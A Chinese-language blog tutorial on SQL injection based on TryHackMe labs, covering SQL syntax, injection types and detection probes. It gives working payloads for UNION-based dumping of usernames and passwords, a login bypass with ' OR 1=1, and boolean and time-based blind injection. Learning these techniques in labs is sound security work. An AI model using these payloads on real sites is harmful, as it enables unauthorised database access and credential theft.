SQL注入(基于 tryhackme 的讲解)
一、什么是SQL注入
SQL注入攻擊(SQL Injection),簡稱注入攻擊、SQL注入,被廣泛用于非法獲取網站控制權,是發生在應用程序的數據庫層上的安全漏洞。在設計程序時,忽略了對輸入字符串中夾帶的SQL指令的檢查,被數據庫誤認為是正常的SQL指令而運行,從而使數據庫受到攻擊,可能導致數據被竊取、更改、刪除,以及進一步導致網站被嵌入惡意代碼、被植入后門程序等危害。
根據相關技術原理,SQL注入可以分為平臺層注入和代碼層注入。前者由不安全的數據庫配置或數據庫平臺的漏洞所致;后者主要是由于程序員對輸入未進行細致地過濾,從而執行了非法的數據查詢。
通常情況下的sql注入的位置如下:
(1)表單提交,主要是POST請求,也包括GET請求; (2)URL參數提交,主要為GET請求參數; (3)Cookie參數提交; (4)HTTP請求頭部的一些可修改的值,比如Referer、User_Agent等; (5)一些邊緣的輸入點,比如.mp3文件的一些文件信息等。
先決條件:一是用戶能控制輸入,二是本來程序要執行的代碼,憑借了用戶輸入的數據
二、危害
1.數據庫信息泄漏:數據庫中存放的用戶的隱私信息的泄露。
2.網頁篡改:通過操作數據庫對特定網頁進行篡改。
3.網站被掛馬,傳播惡意軟件:修改數據庫一些字段的值,嵌入網馬鏈接,進行掛馬攻擊。
4.數據庫被惡意操作:數據庫服務器被攻擊,數據庫的系統管理員帳戶被竄改。
5.服務器被遠程控制,被安裝后門。經由數據庫服務器提供的操作系統支持,讓黑客得以修改或控制操作系統。 破壞硬盤數據,癱瘓全系統。
6.一些類型的數據庫系統能夠讓SQL指令操作文件系統,這使得SQL注入的危害被進一步放大。
三、SQL語句
1 . SELECT?
select * from users;1)select是告訴數據庫我們想提取出一些信息
2)*是告訴數據庫我們要提取出所有列的信息
3)from users是告訴數據庫我們要提取出名字為users的表的信息
4)最后的分號是結束
| 1 | jon | pass123 | 
| 2 | admin | p4ssword | 
| 3 | martin | secret123 | 
?
select username,password from users;這句與上面的類似,只是它特定的指出我要提出的是名字為users的表里面名字為username和password兩個列的類容
?
?
??
select * from users LIMIT 1;下面的查詢和第一個一樣,使用 * 選擇器返回所有列,然后“LIMIT 1”子句強制數據庫只返回一行數據。將查詢更改為“LIMIT 1,1”強制查詢跳過第一個結果,然后“LIMIT 2,1”跳過前兩個結果,依此類推。您需要記住第一個數字告訴數據庫您希望跳過多少結果,第二個數字告訴數據庫要返回多少行。
select * from users where username='admin';這里出現的where,where相當于一個查找功能,where username='admin'就相當于查找表中username為admin的一行,
?
select * from users where username != 'admin';顧名思義,就是返回除了admin的其他行
select * from users where username='admin' or username='jon';顧名思義!!!!!!!
select * from users where username='admin' and password='p4ssword';這只會返回用戶名等于admin且密碼等于p4ssword 的行。
select * from users where username like 'a%';like就相當于一個篩選語法,該語句的作用就是篩選出username中含字母a的那一行
select * from users where username like '%mi%';篩選出含有字母mi的一行
2 . UNION
顧名思義就是縫合
舉個栗子,你現在手上有一個班級的兩張名單(一半人在第一張表上,另一半人在第二張表上),你拿著很不方便,所以你選擇把他在電腦上全部做成統一的一張表,這個過程其實就是一個聯合的過程
但是在數據庫中,要想這樣做要滿足幾個條件,第一就是你兩張表的列數要相等,其次每一列的數據類型要對應相同
例如下面有兩張表:
?
?
?
?
然后執行下列語句,就可以將兩張表放在同一張表中:
SELECT name,address,city,postcode from customers UNION SELECT company,address,city,postcode from suppliers;3 . INSERT
insert into users (username,password) values ('bob','password123');此句的作用是為了向users表中的username和password的列中分別插入bob和password123兩個數據
?
4 . UPDATE
在 UPDATE 語句告訴我們希望在表中更新數據的一行或多行的數據庫。您使用“ update %tablename% SET ”指定要更新的表,然后選擇要更新的一個或多個字段作為逗號分隔的列表,例如“ username='root',password='pass123' ”然后最后與 SELECT 語句類似,您可以使用 where 子句(例如“ where username='admin; ”)準確指定要更新的行。
update users SET username='root',password='pass123' where username='admin';?
?
5 . DELETE
該 DELETE 語句告訴我們要刪除數據的一行或多行的數據庫。他也可以使用limit和where
delete from users where username='martin'; delete from users;因為查詢中沒有使用 WHERE 子句,所以表中的所有數據都被刪除了。
四、SQL注入的分類
1.如何判斷是否存在sql注入
在URL或者表單中輸入一個單引號或者其他特殊符號,頁面出現錯誤說明此頁面存在SQL注入,如果頁面正常顯示說明有字符被過濾或者不存在注入
2.具體類別
事實上SQL注入有很多種,按數據類型可以分為數字型、字符型和搜索型,按提交方式可分為GET型,POST型,Cookie型和HTTP請求頭注入,按執行效果有可以分為報錯注入、聯合查詢注入、盲注和堆查詢注入,其中盲注又可分為基于bool的和基于時間的注入。從查詢語句即可看出來這里是字符型的注入同時也是GET型注入和表單注入,數字型注入查詢語句為:SELECT * FROM user WHERE id=1,搜索型注入查詢語句為:SELECT * FROM user WHERE search like '%1%'。
3.數字型注入
在URL或者表單中輸入0 or 1,如果可以查到數據,說明是數字型注入
4.字符型注入
在URL或者表單中輸入 0'or 1#,查到數據說明是字符型注入,方法不唯一。總之數字型注入不需要使用單引號閉合前面的單引號就可以執行SQL語句,而字符型必須閉合前面的單引號,然后才可以執行SQL語句,同時也需要把后面的單引號閉合,而注釋就是很好的一種閉合后面的單引號的方法。
5.搜索型注入
一些網站為了方便用戶查找網站的資源,都對用戶提供了搜索的功能,因為是搜索功能,往往是程序員在編寫代碼時都忽略了對其變量(參數)的過濾,而且這樣的漏洞在國內的系統中普遍的存在:
其中又分為POST/GET,GET型的一般是用在網站上的搜索,而POST則用在用戶名的登錄,可以從form表單的method="get"屬性來區分是get還是post。搜索型注入又稱為文本框注入。
判斷方法為:
1 搜索keywords‘,如果出錯的話,有90%的可能性存在漏洞;
2 搜索 keywords%,如果同樣出錯的話,就有95%的可能性存在漏洞;
3 搜索keywords% 'and 1=1 and '%'='(這個語句的功能就相當于普通SQL注入的 and 1=1)看返回的情況
搜索keywords% 'and 1=2 and '%'='(這個語句的功能就相當于普通SQL注入的 and 1=2)看返回的情況
——根據兩次的返回情況來判斷是不是搜索型文本框注入了
五、注入方法
注入方法可以直接在URL中提交注入語句,需要注意的是,在URL提交SQL語句,需要將注釋符#進行URL編碼,有時候所有SQL語句都需要URL編碼
1.聯合查詢注入
聯合查詢注入也是用的非常多的,可以在URL中提交SQL語句,也可以在表單提交,聯合查詢相當于把別的表的數據查詢結果顯示到當前表,使用聯合查詢時,必須使得兩張表的表結構一致,因此我們需要判斷當前表的列數有多少列,此外還需知道是字符型注入還是數字型注入。它屬于In-Band SQLI的一員
(1)前提條件:要有顯示位
什么是顯示位:在一個在一個網站的正常頁面,服務端執行SQL語句查詢數據庫中的數據,客戶端將數 據展示在頁面中,這個展示數據的位置就叫顯示位
(2)注入過程
1)判斷注入點
我們在可能存在SQL注入變量的后邊添加以下payload:
and 1=1 / and 1=2 回顯頁面不同(整形判斷)
單引號判斷‘ 顯示數據庫錯誤信息或者頁面回顯不同(整形,字符串類型判斷)
\ (轉義符)
-1/+1 回顯下一個或上一個頁面(整型判斷)
注:加號‘+’在URL中有特殊含義,因此在需要對其進行URL編碼為%2b
2)判斷注入類型
3)判斷查詢列數
order by 函數是對MySQL中查詢結果按照指定字段名進行排序,除了指定字段名還可以指定字段的欄位進行排序,第一個查詢字段為1,第二個為2,依次 類推。(我們也可以通過二分法來猜解列數)
?
由圖可知這個表只有3列
4)開聯
?
發現出來的是文章,不是用戶資料,那么我們把id改為0看看。
?
?
接下來讓我們看看數據庫的名字
?
?
發現數據庫的名字是sqli_one,那么接下來我們會用到一個語句
0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'其中,group_concat() 從多個返回的行中獲取指定的列(在我們的例子中是 table_name),并將其放入一個以逗號分隔的字符串中,接下里是接下來是 information_schema 數據庫;數據庫的每個用戶都可以訪問它,它包含有關用戶有權訪問的所有數據庫和表的信息。在這個特定的查詢中,我們有興趣列出sqli_one 數據庫中的所有表 ,即 article 和 staff_users。
?
發現我們有兩個表,因為我們是對密碼感興趣,所以我們進入staff_users
0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'?
?
此時我們發現在staff_users中有三列,分別是id,password,username。那么我們把username和password列出來就行
0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users我們再次使用 group_concat 方法將所有行返回到一個字符串中并使其更易于閱讀。我們還添加了 ,':' 來將用戶名和密碼分開。
?
搞定!!!!!!!
2.基于bool的盲注
與In-Band SQL injection不同,In-Band注入會在頁面顯示結果,但盲注就只有一點或是沒有任何反饋信息,但恰恰是這些微不足道的返回信息就足以枚舉出數據庫中的所有信息。
所謂“盲注”,就是在服務器關閉錯誤回顯時完成的注入攻擊。
而判斷其是否存在sql注入的方法就是構造一個簡單的語句,根據返回頁面是否發生變化,來判斷sql語句是否得到執行。(具體可參照web書第152頁)
(1)身份驗證繞過
最簡單的SQL盲注技術之一是繞過登錄身份驗證的方法。在這種情況下,我們對從數據庫中檢索數據不感興趣;我們只想通過登錄。
在處理這個問題時,數據庫是關心我們輸入的數據是否與數據庫中的數據相匹配,而不關心內容,所以我們沒必要列舉所有的用戶名及密碼。
下面是一個sql語句
select * from users where username='%username%' and password='%password%' LIMIT 1;其中百分號是取用戶輸入內容進行替換。
而為了使sql語句永真,就需要構造 ’ OR 1=1;
將sql語句替換成:
select * from users where username='' and password='' OR 1=1前面的單引號是為了讓前面的語句閉合 ,后面的分號讓后面的閉合,從而導致后面的語句失效。
?
?
(2)Boolean Based
該注入是可以從頁面返回的信息中得知對錯,從而得知自己數據的正確與否。
下面是一條sql語句和所對應的頁面
select * from users where username = '%username%' LIMIT 1;?
?
對于這個例題,要先將前面和后面的單引號閉合,因為無法返回頁面,所以只能試探:
?
?
發現頁面返回為對。那么就繼續往下執行,將數據庫的名字弄出來:
admin' UNION SELECT 1,2,3 where database() like 's%';通過like可以將數據庫的名字一步一步的通過湊的方式來將數據庫名字弄出來。、
在出數據庫名字后,則將數據庫中的表列舉出來:
admin' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'a%';通過這樣的方法再次列舉出有一張表為users。
最后列舉出列表名:
admin' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';當然也可以使用下面的語句將不重要的列名除去:
? admin' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id';?之后你完整的得到了表名,列名,之后用常規的語句去找出用戶名和密碼:
admin' UNION SELECT 1,2,3 from users where username like 'a%';?
admin' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%';最后得到密碼,侵入成功。
(3)基于時間的盲注
此時唯一與Boolean不同的是,它是靠信息的返回時間來判斷注入是否成功。基本方法與Boolean一樣
語句稍微修改一下:
admin123' UNION SELECT SLEEP(5),2;--3. Out-of-Band SQL i
?
?
不要問為什么這樣做,因為懶。
?
?
從此完結
?
總結
以上是生活随笔為你收集整理的SQL注入(基于 tryhackme 的讲解)的全部內容,希望文章能夠幫你解決所遇到的問題。
 
                            
                        - 上一篇: QtCreator中Kits选项变灰,有
- 下一篇: 微服务流量卫兵 Sentinel
